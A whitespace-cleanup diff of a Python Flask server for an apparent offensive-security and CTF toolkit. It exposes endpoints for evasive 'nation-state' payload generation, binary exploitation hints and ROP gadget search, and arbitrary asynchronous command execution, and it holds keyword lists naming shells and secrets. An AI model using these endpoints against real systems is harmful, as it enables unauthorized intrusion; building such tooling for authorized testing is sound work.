                 exploits = cve_intelligence.search_existing_exploits(cve_id)
                 if exploits.get("success") and exploits.get("total_exploits", 0) > 0:
@@ -13879,10 +13889,10 @@ def threat_intelligence_feeds():
                         "threat_level": "HIGH"
                     })
                     correlation_results["threat_score"] += 25
-                    
+
             except Exception as e:
                 logger.warning(f"Error analyzing CVE {cve_id}: {str(e)}")
-        
+
         # Process IP indicators (basic reputation check simulation)
         for ip in ip_indicators:
             # Simulate threat intelligence lookup
@@ -13896,7 +13906,7 @@ def threat_intelligence_feeds():
                 },
                 "threat_level": "MEDIUM"  # Default for unknown IPs
             })
-        
+
         # Process hash indicators
         for hash_val in hash_indicators:
             correlation_results["correlations"].append({
@@ -13909,12 +13919,12 @@ def threat_intelligence_feeds():
                 },
                 "threat_level": "MEDIUM"
             })
-        
+
         # Calculate overall threat score and generate recommendations
         total_indicators = len(indicators)
         if total_indicators > 0:
             correlation_results["threat_score"] = min(correlation_results["threat_score"] / total_indicators, 100)
-            
+
             if correlation_results["threat_score"] >= 75:
                 correlation_results["recommendations"] = [
                     "Immediate threat response required",
@@ -13936,16 +13946,16 @@ def threat_intelligence_feeds():
                     "Plan routine patching",
                     "Consider additional threat intelligence sources"
                 ]
-        
+
         result = {
             "success": True,
             "threat_intelligence": correlation_results,
             "timestamp": datetime.now().isoformat()
         }
-        
+
         logger.info(f"🎯 Threat intelligence correlation completed | Threat Score: {correlation_results['threat_score']:.1f}")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in threat intelligence: {str(e)}")
         return jsonify({
@@ -13961,16 +13971,16 @@ def zero_day_research():
         target_software = params.get("target_software", "")
         analysis_depth = params.get("analysis_depth", "standard")
         source_code_url = params.get("source_code_url", "")
-        
+
         if not target_software:
             logger.warning("🔬 Zero-day research called without target software")
             return jsonify({
                 "success": False,
                 "error": "Target software parameter is required"
             }), 400
-        
+
         logger.info(f"🔬 Starting zero-day research for {target_software} | Depth: {analysis_depth}")
-        
+
         research_results = {
             "target_software": target_software,
             "analysis_depth": analysis_depth,
@@ -13979,7 +13989,7 @@ def zero_day_research():
             "risk_assessment": {},
             "recommendations": []
         }
-        
+
         # Define research areas based on software type
         common_research_areas = [
             "Input validation vulnerabilities",
@@ -13990,7 +14000,7 @@ def zero_day_research():
             "Race conditions",
             "Logic flaws"
         ]
-        
+
         # Software-specific research areas
         web_research_areas = [
             "Cross-site scripting (XSS)",
@@ -13999,7 +14009,7 @@ def zero_day_research():
             "Insecure deserialization",
             "Template injection"
         ]
-        
+
         system_research_areas = [
             "Buffer overflows",
             "Privilege escalation",
@@ -14007,7 +14017,7 @@ def zero_day_research():
             "Service exploitation",
             "Configuration weaknesses"
         ]
-        
+
         # Determine research areas based on target
         target_lower = target_software.lower()
         if any(web_tech in target_lower for web_tech in ["apache", "nginx", "tomcat", "php", "node", "django"]):
@@ -14016,10 +14026,10 @@ def zero_day_research():
             research_results["research_areas"] = common_research_areas + system_research_areas
         else:
             research_results["research_areas"] = common_research_areas
-        
+
         # Simulate vulnerability discovery based on analysis depth
         vuln_count = {"quick": 2, "standard": 4, "comprehensive": 6}.get(analysis_depth, 4)
-        
+
         for i in range(vuln_count):
             potential_vuln = {
                 "id": f"RESEARCH-{target_software.upper()}-{i+1:03d}",
@@ -14032,11 +14042,11 @@ def zero_day_research():
                 "proof_of_concept": "Research phase - PoC development needed"
             }
             research_results["potential_vulnerabilities"].append(potential_vuln)
-        
+
         # Risk assessment
         high_risk_count = sum(1 for v in research_results["potential_vulnerabilities"] if v["severity"] in ["HIGH", "CRITICAL"])
         total_vulns = len(research_results["potential_vulnerabilities"])
-        
+
         research_results["risk_assessment"] = {
             "total_areas_analyzed": len(research_results["research_areas"]),
             "potential_vulnerabilities_found": total_vulns,
@@ -14044,7 +14054,7 @@ def zero_day_research():
             "risk_score": min((high_risk_count * 25 + (total_vulns - high_risk_count) * 10), 100),
             "research_confidence": analysis_depth
         }
-        
+
         # Generate recommendations
         if high_risk_count > 0:
             research_results["recommendations"] = [
@@ -14061,7 +14071,7 @@ def zero_day_research():
                 "Implement defense-in-depth strategies",
                 "Regular security assessments recommended"
             ]
-        
+
         # Source code analysis simulation
         if source_code_url:
             research_results["source_code_analysis"] = {
@@ -14074,17 +14084,17 @@ def zero_day_research():
                 ],
                 "recommendation": "Manual code review recommended for identified areas"
             }
-        
+
         result = {
             "success": True,
             "zero_day_research": research_results,
             "disclaimer": "This is simulated research for demonstration. Real zero-day research requires extensive manual analysis.",
             "timestamp": datetime.now().isoformat()
         }
-        
+
         logger.info(f"🎯 Zero-day research completed | Risk Score: {research_results['risk_assessment']['risk_score']}")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in zero-day research: {str(e)}")
         return jsonify({
@@ -14101,16 +14111,16 @@ def advanced_payload_generation():
         target_context = params.get("target_context", "")
         evasion_level = params.get("evasion_level", "standard")
         custom_constraints = params.get("custom_constraints", "")
-        
+
         if not attack_type:
             logger.warning("🎯 Advanced payload generation called without attack type")
             return jsonify({
                 "success": False,
                 "error": "Attack type parameter is required"
             }), 400
-        
+
         logger.info(f"🎯 Generating advanced {attack_type} payload with {evasion_level} evasion")
-        
+
         # Enhanced payload generation with contextual AI
         target_info = {
             "attack_type": attack_type,
@@ -14119,13 +14129,13 @@ def advanced_payload_generation():
             "evasion_level": evasion_level,
             "constraints": custom_constraints
         }
-        
+
         # Generate base payloads using existing AI system
         base_result = ai_payload_generator.generate_contextual_payload(target_info)
-        
+
         # Enhance with advanced techniques
         advanced_payloads = []
-        
+
         for payload_info in base_result.get("payloads", [])[:10]:  # Limit to 10 advanced payloads
             enhanced_payload = {
                 "payload": payload_info["payload"],
@@ -14134,7 +14144,7 @@ def advanced_payload_generation():
                 "evasion_techniques": [],
                 "deployment_methods": []
             }
-            
+
             # Apply evasion techniques based on level
             if evasion_level in ["advanced", "nation-state"]:
                 # Advanced encoding techniques
@@ -14153,7 +14163,7 @@ def advanced_payload_generation():
                     }
                 ]
                 enhanced_payload["evasion_techniques"].extend(encoded_variants)
-            
+
             if evasion_level == "nation-state":
                 # Nation-state level techniques
                 advanced_techniques = [
@@ -14171,7 +14181,7 @@ def advanced_payload_generation():
                     }
                 ]
                 enhanced_payload["evasion_techniques"].extend(advanced_techniques)
-            
+
             # Deployment methods
             enhanced_payload["deployment_methods"] = [
                 "Direct injection",
@@ -14180,9 +14190,9 @@ def advanced_payload_generation():
                 "Cookie manipulation",
                 "Fragment-based delivery"
             ]
-            
+
             advanced_payloads.append(enhanced_payload)
-        
+
         # Generate deployment instructions
         deployment_guide = {
             "pre_deployment": [
@@ -14204,7 +14214,7 @@ def advanced_payload_generation():
                 "Report vulnerabilities responsibly"
             ]
         }
-        
+
         result = {
             "success": True,
             "advanced_payload_generation": {
@@ -14219,10 +14229,10 @@ def advanced_payload_generation():
             "disclaimer": "These payloads are for authorized security testing only. Ensure proper authorization before use.",
             "timestamp": datetime.now().isoformat()
         }
-        
+
         logger.info(f"🎯 Advanced payload generation completed | Generated: {len(advanced_payloads)} payloads")
         return jsonify(result)
-        
+
     except Exception as e:
         logger.error(f"💥 Error in advanced payload generation: {str(e)}")
         return jsonify({
@@ -14245,10 +14255,10 @@ def create_ctf_challenge_workflow():
         points = params.get("points", 100)
         description = params.get("description", "")
         target = params.get("target", "")
-        
+
         if not challenge_name:
             return jsonify({"error": "Challenge name is required"}), 400
-        
+
         # Create CTF challenge object
         challenge = CTFChallenge(
             name=challenge_name,
@@ -14258,10 +14268,10 @@ def create_ctf_challenge_workflow():
             description=description,
             target=target
         )
-        
+
         # Generate workflow
         workflow = ctf_manager.create_ctf_challenge_workflow(challenge)
-        
+
         logger.info(f"🎯 CTF workflow created for {challenge_name} | Category: {category} | Difficulty: {difficulty}")
         return jsonify({
             "success": True,
@@ -14269,7 +14279,7 @@ def create_ctf_challenge_workflow():
             "challenge": challenge.to_dict(),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating CTF workflow: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14285,10 +14295,10 @@ def auto_solve_ctf_challenge():
         points = params.get("points", 100)
         description = params.get("description", "")
         target = params.get("target", "")
-        
+
         if not challenge_name:
             return jsonify({"error": "Challenge name is required"}), 400
-        
+
         # Create CTF challenge object
         challenge = CTFChallenge(
             name=challenge_name,
@@ -14298,10 +14308,10 @@ def auto_solve_ctf_challenge():
             description=description,
             target=target
         )
-        
+
         # Attempt automated solving
         result = ctf_automator.auto_solve_challenge(challenge)
-        
+
         logger.info(f"🤖 CTF auto-solve attempted for {challenge_name} | Status: {result['status']}")
         return jsonify({
             "success": True,
@@ -14309,7 +14319,7 @@ def auto_solve_ctf_challenge():
             "challenge": challenge.to_dict(),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in CTF auto-solve: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14321,10 +14331,10 @@ def create_ctf_team_strategy():
         params = request.json
         challenges_data = params.get("challenges", [])
         team_skills = params.get("team_skills", {})
-        
+
         if not challenges_data:
             return jsonify({"error": "Challenges data is required"}), 400
-        
+
         # Convert challenge data to CTFChallenge objects
         challenges = []
         for challenge_data in challenges_data:
@@ -14337,10 +14347,10 @@ def create_ctf_team_strategy():
                 target=challenge_data.get("target", "")
             )
             challenges.append(challenge)
-        
+
         # Generate team strategy
         strategy = ctf_coordinator.optimize_team_strategy(challenges, team_skills)
-        
+
         logger.info(f"👥 CTF team strategy created | Challenges: {len(challenges)} | Team members: {len(team_skills)}")
         return jsonify({
             "success": True,
@@ -14349,7 +14359,7 @@ def create_ctf_team_strategy():
             "team_size": len(team_skills),
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error creating CTF team strategy: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14361,14 +14371,14 @@ def suggest_ctf_tools():
         params = request.json
         description = params.get("description", "")
         category = params.get("category", "misc")
-        
+
         if not description:
             return jsonify({"error": "Challenge description is required"}), 400
-        
+
         # Get tool suggestions
         suggested_tools = ctf_tools.suggest_tools_for_challenge(description, category)
         category_tools = ctf_tools.get_category_tools(f"{category}_recon")
-        
+
         # Get tool commands
         tool_commands = {}
         for tool in suggested_tools:
@@ -14376,7 +14386,7 @@ def suggest_ctf_tools():
                 tool_commands[tool] = ctf_tools.get_tool_command(tool, "TARGET")
             except:
                 tool_commands[tool] = f"{tool} TARGET"
-        
+
         logger.info(f"🔧 CTF tools suggested | Category: {category} | Tools: {len(suggested_tools)}")
         return jsonify({
             "success": True,
@@ -14386,7 +14396,7 @@ def suggest_ctf_tools():
             "category": category,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error suggesting CTF tools: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14401,10 +14411,10 @@ def ctf_cryptography_solver():
         key_hint = params.get("key_hint", "")
         known_plaintext = params.get("known_plaintext", "")
         additional_info = params.get("additional_info", "")
-        
+
         if not cipher_text:
             return jsonify({"error": "Cipher text is required"}), 400
-        
+
         results = {
             "cipher_text": cipher_text,
             "cipher_type": cipher_type,
@@ -14413,53 +14423,53 @@ def ctf_cryptography_solver():
             "recommended_tools": [],
             "next_steps": []
         }
-        
+
         # Cipher type identification
         if cipher_type == "unknown":
             # Basic cipher identification heuristics
             if re.match(r'^[0-9a-fA-F]+$', cipher_text.replace(' ', '')):
                 results["analysis_results"].append("Possible hexadecimal encoding")
                 results["recommended_tools"].extend(["hex", "xxd"])
-            
+
             if re.match(r'^[A-Za-z0-9+/]+=*$', cipher_text.replace(' ', '')):
                 results["analysis_results"].append("Possible Base64 encoding")
                 results["recommended_tools"].append("base64")
-            
+
             if len(set(cipher_text.upper().replace(' ', ''))) <= 26:
                 results["analysis_results"].append("Possible substitution cipher")
                 results["recommended_tools"].extend(["frequency-analysis", "substitution-solver"])
-        
+
         # Hash identification
         hash_patterns = {
             32: "MD5",
-            40: "SHA1", 
+            40: "SHA1",
             64: "SHA256",
             128: "SHA512"
         }
-        
+
         clean_text = cipher_text.replace(' ', '').replace('\n', '')
         if len(clean_text) in hash_patterns and re.match(r'^[0-9a-fA-F]+$', clean_text):
             hash_type = hash_patterns[len(clean_text)]
             results["analysis_results"].append(f"Possible {hash_type} hash")
             results["recommended_tools"].extend(["hashcat", "john", "hash-identifier"])
-        
+
         # Frequency analysis for substitution ciphers
         if cipher_type in ["substitution", "caesar", "vigenere"] or "substitution" in results["analysis_results"]:
             char_freq = {}
             for char in cipher_text.upper():
                 if char.isalpha():
                     char_freq[char] = char_freq.get(char, 0) + 1
-            
+
             if char_freq:
                 most_common = max(char_freq, key=char_freq.get)
                 results["analysis_results"].append(f"Most frequent character: {most_common} ({char_freq[most_common]} occurrences)")
                 results["next_steps"].append("Try substituting most frequent character with 'E'")
-        
+
         # ROT/Caesar cipher detection
         if cipher_type == "caesar" or len(set(cipher_text.upper().replace(' ', ''))) <= 26:
             results["recommended_tools"].append("rot13")
             results["next_steps"].append("Try all ROT values (1-25)")
-        
+
         # RSA-specific analysis
         if cipher_type == "rsa" or "rsa" in additional_info.lower():
             results["recommended_tools"].extend(["rsatool", "factordb", "yafu"])
@@ -14468,7 +14478,7 @@ def ctf_cryptography_solver():
                 "Look for small public exponent attacks",
                 "Check for common modulus attacks"
             ])
-        
+
         # Vigenère cipher analysis
         if cipher_type == "vigenere" or "vigenere" in additional_info.lower():
             results["recommended_tools"].append("vigenere-solver")
@@ -14477,14 +14487,14 @@ def ctf_cryptography_solver():
                 "Use index of coincidence analysis",
                 "Try common key words"
             ])
-        
+
         logger.info(f"🔐 CTF crypto analysis completed | Type: {cipher_type} | Tools: {len(results['recommended_tools'])}")
         return jsonify({
             "success": True,
             "analysis": results,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in CTF crypto solver: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14498,10 +14508,10 @@ def ctf_forensics_analyzer():
         analysis_type = params.get("analysis_type", "comprehensive")
         extract_hidden = params.get("extract_hidden", True)
         check_steganography = params.get("check_steganography", True)
-        
+
         if not file_path:
             return jsonify({"error": "File path is required"}), 400
-        
+
         results = {
             "file_path": file_path,
             "analysis_type": analysis_type,
@@ -14512,14 +14522,14 @@ def ctf_forensics_analyzer():
             "recommended_tools": [],
             "next_steps": []
         }
-        
+
         # Basic file analysis
         try:
             # File command
             file_result = subprocess.run(['file', file_path], capture_output=True, text=True, timeout=30)
             if file_result.returncode == 0:
                 results["file_info"]["type"] = file_result.stdout.strip()
-                
+
                 # Determine file category and suggest tools
                 file_type = file_result.stdout.lower()
                 if "image" in file_type:
@@ -14552,7 +14562,7 @@ def ctf_forensics_analyzer():
                     ])
         except Exception as e:
             results["file_info"]["error"] = str(e)
-        
+
         # Metadata extraction
         try:
             exif_result = subprocess.run(['exiftool', file_path], capture_output=True, text=True, timeout=30)
@@ -14560,7 +14570,7 @@ def ctf_forensics_analyzer():
                 results["metadata"]["exif"] = exif_result.stdout
         except Exception as e:
             results["metadata"]["exif_error"] = str(e)
-        
+
         # Binwalk analysis for hidden files
         if extract_hidden:
             try:
@@ -14575,7 +14585,7 @@ def ctf_forensics_analyzer():
                     "tool": "binwalk",
                     "error": str(e)
                 })
-        
+
         # Steganography checks
         if check_steganography:
             # Check for common steganography tools
@@ -14588,7 +14598,7 @@ def ctf_forensics_analyzer():
                         steg_result = subprocess.run([tool, '-a', file_path], capture_output=True, text=True, timeout=30)
                     elif tool == "outguess":
                         steg_result = subprocess.run([tool, '-r', file_path, '/tmp/outguess_output'], capture_output=True, text=True, timeout=30)
-                    
+
                     if steg_result.returncode == 0 and steg_result.stdout.strip():
                         results["steganography_results"].append({
                             "tool": tool,
@@ -14599,7 +14609,7 @@ def ctf_forensics_analyzer():
                         "tool": tool,
                         "error": str(e)
                     })
-        
+
         # Strings analysis
         try:
             strings_result = subprocess.run(['strings', file_path], capture_output=True, text=True, timeout=30)
@@ -14609,7 +14619,7 @@ def ctf_forensics_analyzer():
                 for line in strings_result.stdout.split('\n'):
                     if any(keyword in line.lower() for keyword in ['flag', 'password', 'key', 'secret', 'http', 'ftp']):
                         interesting_strings.append(line.strip())
-                
+
                 if interesting_strings:
                     results["hidden_data"].append({
                         "tool": "strings",
@@ -14620,14 +14630,14 @@ def ctf_forensics_analyzer():
                 "tool": "strings",
                 "error": str(e)
             })
-        
+
         logger.info(f"🔍 CTF forensics analysis completed | File: {file_path} | Tools used: {len(results['recommended_tools'])}")
         return jsonify({
             "success": True,
             "analysis": results,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in CTF forensics analyzer: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14641,10 +14651,10 @@ def ctf_binary_analyzer():
         analysis_depth = params.get("analysis_depth", "comprehensive")  # basic, comprehensive, deep
         check_protections = params.get("check_protections", True)
         find_gadgets = params.get("find_gadgets", True)
-        
+
         if not binary_path:
             return jsonify({"error": "Binary path is required"}), 400
-        
+
         results = {
             "binary_path": binary_path,
             "analysis_depth": analysis_depth,
@@ -14656,13 +14666,13 @@ def ctf_binary_analyzer():
             "recommended_tools": [],
             "exploitation_hints": []
         }
-        
+
         # Basic file information
         try:
             file_result = subprocess.run(['file', binary_path], capture_output=True, text=True, timeout=30)
             if file_result.returncode == 0:
                 results["file_info"]["type"] = file_result.stdout.strip()
-                
+
                 # Determine architecture and suggest tools
                 file_output = file_result.stdout.lower()
                 if "x86-64" in file_output or "x86_64" in file_output:
@@ -14671,18 +14681,18 @@ def ctf_binary_analyzer():
                     results["file_info"]["architecture"] = "i386"
                 elif "arm" in file_output:
                     results["file_info"]["architecture"] = "ARM"
-                
+
                 results["recommended_tools"].extend(["gdb-peda", "radare2", "ghidra"])
         except Exception as e:
             results["file_info"]["error"] = str(e)
-        
+
         # Security protections check
         if check_protections:
             try:
                 checksec_result = subprocess.run(['checksec', '--file', binary_path], capture_output=True, text=True, timeout=30)
                 if checksec_result.returncode == 0:
                     results["security_protections"]["checksec"] = checksec_result.stdout
-                    
+
                     # Parse protections and provide exploitation hints
                     output = checksec_result.stdout.lower()
                     if "no canary found" in output:
@@ -14695,13 +14705,13 @@ def ctf_binary_analyzer():
                         results["exploitation_hints"].append("RELRO disabled - GOT overwrite attacks possible")
             except Exception as e:
                 results["security_protections"]["error"] = str(e)
-        
+
         # Strings analysis
         try:
             strings_result = subprocess.run(['strings', binary_path], capture_output=True, text=True, timeout=30)
             if strings_result.returncode == 0:
                 strings_output = strings_result.stdout.split('\n')
-                
+
                 # Categorize interesting strings
                 interesting_categories = {
                     "functions": [],
@@ -14710,48 +14720,48 @@ def ctf_binary_analyzer():
                     "potential_flags": [],
                     "system_calls": []
                 }
-                
+
                 for string in strings_output:
                     string = string.strip()
                     if not string:
                         continue
-                    
+
                     # Look for function names
                     if any(func in string for func in ['printf', 'scanf', 'gets', 'strcpy', 'system', 'execve']):
                         interesting_categories["functions"].append(string)
-                    
+
                     # Look for format strings
                     if '%' in string and any(fmt in string for fmt in ['%s', '%d', '%x', '%n']):
                         interesting_categories["format_strings"].append(string)
-                    
+
                     # Look for file paths
                     if string.startswith('/') or '\\' in string:
                         interesting_categories["file_paths"].append(string)
-                    
+
                     # Look for potential flags
                     if any(keyword in string.lower() for keyword in ['flag', 'ctf', 'key', 'password']):
                         interesting_categories["potential_flags"].append(string)
-                    
+
                     # Look for system calls
                     if string in ['sh', 'bash', '/bin/sh', '/bin/bash', 'cmd.exe']:
                         interesting_categories["system_calls"].append(string)
-                
+
                 results["strings_analysis"] = interesting_categories
-                
+
                 # Add exploitation hints based on strings
                 if interesting_categories["functions"]:
                     dangerous_funcs = ['gets', 'strcpy', 'sprintf', 'scanf']
                     found_dangerous = [f for f in dangerous_funcs if any(f in s for s in interesting_categories["functions"])]
                     if found_dangerous:
                         results["exploitation_hints"].append(f"Dangerous functions found: {', '.join(found_dangerous)} - potential buffer overflow")
-                
+
                 if interesting_categories["format_strings"]:
                     if any('%n' in s for s in interesting_categories["format_strings"]):
                         results["exploitation_hints"].append("Format string with %n found - potential format string vulnerability")
-        
+
         except Exception as e:
             results["strings_analysis"]["error"] = str(e)
-        
+
         # ROP gadgets search
         if find_gadgets and analysis_depth in ["comprehensive", "deep"]:
             try:
@@ -14759,20 +14769,20 @@ def ctf_binary_analyzer():
                 if ropgadget_result.returncode == 0:
                     gadget_lines = ropgadget_result.stdout.split('\n')
                     useful_gadgets = []
-                    
+
                     for line in gadget_lines:
                         if 'pop' in line and 'ret' in line:
                             useful_gadgets.append(line.strip())
-                    
+
                     results["gadgets"] = useful_gadgets[:20]  # Limit to first 20 gadgets
-                    
+
                     if useful_gadgets:
                         results["exploitation_hints"].append(f"Found {len(useful_gadgets)} ROP gadgets - ROP chain exploitation possible")
                         results["recommended_tools"].append("ropper")
-            
+
             except Exception as e:
                 results["gadgets"] = [f"Error finding gadgets: {str(e)}"]
-        
+
         # Function analysis with objdump
         if analysis_depth in ["comprehensive", "deep"]:
             try:
@@ -14785,25 +14795,25 @@ def ctf_binary_analyzer():
                             if len(parts) >= 6:
                                 func_name = parts[-1]
                                 functions.append(func_name)
-                    
+
                     results["interesting_functions"] = functions[:50]  # Limit to first 50 functions
             except Exception as e:
                 results["interesting_functions"] = [f"Error analyzing functions: {str(e)}"]
-        
+
         # Add tool recommendations based on findings
         if results["exploitation_hints"]:
             results["recommended_tools"].extend(["pwntools", "gdb-peda", "one-gadget"])
-        
+
         if "format string" in str(results["exploitation_hints"]).lower():
             results["recommended_tools"].append("format-string-exploiter")
-        
+
         logger.info(f"🔬 CTF binary analysis completed | Binary: {binary_path} | Hints: {len(results['exploitation_hints'])}")
         return jsonify({
             "success": True,
             "analysis": results,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in CTF binary analyzer: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14819,13 +14829,13 @@ def execute_command_async():
         params = request.json
         command = params.get("command", "")
         context = params.get("context", {})
-        
+
         if not command:
             return jsonify({"error": "Command parameter is required"}), 400
-        
+
         # Execute command asynchronously
         task_id = enhanced_process_manager.execute_command_async(command, context)
-        
+
         logger.info(f"🚀 Async command execution started | Task ID: {task_id}")
         return jsonify({
             "success": True,
@@ -14834,7 +14844,7 @@ def execute_command_async():
             "status": "submitted",
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error in async command execution: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14844,10 +14854,10 @@ def get_async_task_result(task_id):
     """Get result of asynchronous task"""
     try:
         result = enhanced_process_manager.get_task_result(task_id)
-        
+
         if result["status"] == "not_found":
             return jsonify({"error": "Task not found"}), 404
-        
+
         logger.info(f"📋 Task result retrieved | Task ID: {task_id} | Status: {result['status']}")
         return jsonify({
             "success": True,
@@ -14855,7 +14865,7 @@ def get_async_task_result(task_id):
             "result": result,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error getting task result: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14865,14 +14875,14 @@ def get_process_pool_stats():
     """Get process pool statistics and performance metrics"""
     try:
         stats = enhanced_process_manager.get_comprehensive_stats()
-        
+
         logger.info(f"📊 Process pool stats retrieved | Active workers: {stats['process_pool']['active_workers']}")
         return jsonify({
             "success": True,
             "stats": stats,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error getting pool stats: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14882,14 +14892,14 @@ def get_cache_stats():
     """Get advanced cache statistics"""
     try:
         cache_stats = enhanced_process_manager.cache.get_stats()
-        
+
         logger.info(f"💾 Cache stats retrieved | Hit rate: {cache_stats['hit_rate']:.1f}%")
         return jsonify({
             "success": True,
             "cache_stats": cache_stats,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error getting cache stats: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14899,14 +14909,14 @@ def clear_process_cache():
     """Clear the advanced cache"""
     try:
         enhanced_process_manager.cache.clear()
-        
+
         logger.info("🧹 Process cache cleared")
         return jsonify({
             "success": True,
             "message": "Cache cleared successfully",
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error clearing cache: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14917,7 +14927,7 @@ def get_resource_usage():
     try:
         current_usage = enhanced_process_manager.resource_monitor.get_current_usage()
         usage_trends = enhanced_process_manager.resource_monitor.get_usage_trends()
-        
+
         logger.info(f"📈 Resource usage retrieved | CPU: {current_usage['cpu_percent']:.1f}% | Memory: {current_usage['memory_percent']:.1f}%")
         return jsonify({
             "success": True,
@@ -14925,7 +14935,7 @@ def get_resource_usage():
             "usage_trends": usage_trends,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error getting resource usage: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14937,7 +14947,7 @@ def get_performance_dashboard():
         dashboard_data = enhanced_process_manager.performance_dashboard.get_summary()
         pool_stats = enhanced_process_manager.process_pool.get_pool_stats()
         resource_usage = enhanced_process_manager.resource_monitor.get_current_usage()
-        
+
         # Create comprehensive dashboard
         dashboard = {
             "performance_summary": dashboard_data,
@@ -14951,14 +14961,14 @@ def get_performance_dashboard():
                 "disk_status": "healthy" if resource_usage["disk_percent"] < 90 else "warning" if resource_usage["disk_percent"] < 98 else "critical"
             }
         }
-        
+
         logger.info(f"📊 Performance dashboard retrieved | Success rate: {dashboard_data.get('success_rate', 0):.1f}%")
         return jsonify({
             "success": True,
             "dashboard": dashboard,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error getting performance dashboard: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14969,9 +14979,9 @@ def terminate_process_gracefully(pid):
     try:
         params = request.json or {}
         timeout = params.get("timeout", 30)
-        
+
         success = enhanced_process_manager.terminate_process_gracefully(pid, timeout)
-        
+
         if success:
             logger.info(f"✅ Process {pid} terminated gracefully")
             return jsonify({
@@ -14987,7 +14997,7 @@ def terminate_process_gracefully(pid):
                 "pid": pid,
                 "timestamp": datetime.now().isoformat()
             }), 400
-        
+
     except Exception as e:
         logger.error(f"💥 Error terminating process {pid}: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -14999,13 +15009,13 @@ def configure_auto_scaling():
         params = request.json
         enabled = params.get("enabled", True)
         thresholds = params.get("thresholds", {})
-        
+
         # Update auto-scaling configuration
         enhanced_process_manager.auto_scaling_enabled = enabled
-        
+
         if thresholds:
             enhanced_process_manager.resource_thresholds.update(thresholds)
-        
+
         logger.info(f"⚙️ Auto-scaling configured | Enabled: {enabled}")
         return jsonify({
             "success": True,
@@ -15013,7 +15023,7 @@ def configure_auto_scaling():
             "resource_thresholds": enhanced_process_manager.resource_thresholds,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error configuring auto-scaling: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15025,13 +15035,13 @@ def manual_scale_pool():
         params = request.json
         action = params.get("action", "")  # "up" or "down"
         count = params.get("count", 1)
-        
+
         if action not in ["up", "down"]:
             return jsonify({"error": "Action must be 'up' or 'down'"}), 400
-        
+
         current_stats = enhanced_process_manager.process_pool.get_pool_stats()
         current_workers = current_stats["active_workers"]
-        
+
         if action == "up":
             max_workers = enhanced_process_manager.process_pool.max_workers
             if current_workers + count <= max_workers:
@@ -15048,7 +15058,7 @@ def manual_scale_pool():
                 message = f"Scaled down by {count} workers"
             else:
                 return jsonify({"error": f"Cannot scale down: would go below min workers ({min_workers})"}), 400
-        
+
         logger.info(f"📏 Manual scaling | {message} | Workers: {current_workers} → {new_workers}")
         return jsonify({
             "success": True,
@@ -15057,7 +15067,7 @@ def manual_scale_pool():
             "current_workers": new_workers,
             "timestamp": datetime.now().isoformat()
         })
-        
+
     except Exception as e:
         logger.error(f"💥 Error scaling pool: {str(e)}")
         return jsonify({"error": f"Server error: {str(e)}"}), 500
@@ -15068,15 +15078,15 @@ def process_health_check():
     try:
         # Get all system stats
         comprehensive_stats = enhanced_process_manager.get_comprehensive_stats()
-        
+
         # Determine overall health
         resource_usage = comprehensive_stats["resource_usage"]
         pool_stats = comprehensive_stats["process_pool"]
         cache_stats = comprehensive_stats["cache"]
-        
+
         health_score = 100
         issues = []
-        
+
         # CPU health
         if resource_usage["cpu_percent"] > 95:
             health_score -= 30
@@ -15084,7 +15094,7 @@ def process_health_check():
         elif resource_usage["cpu_percent"] > 80:
             health_score -= 15
             issues.append("High CPU usage")
-        
+
         # Memory health
         if resource_usage["memory_percent"] > 95:
             health_score -= 25
@@ -15092,7 +15102,7 @@ def process_health_check():
         elif resource_usage["memory_percent"] > 85:
             health_score -= 10
             issues.append("High memory usage")
-        
+
         # Disk health
         if resource_usage["disk_percent"] > 98:
             health_score -= 20
@@ -15100,19 +15110,19 @@ def process_health_check():
         elif resource_usage["disk_percent"] > 90:
             health_score -= 5
             issues.append("High disk usage")
-        
+
         # Process pool health
         if pool_stats["queue_size"] > 50:
             health_score -= 15
             issues.append("High task queue backlog")
-        
+
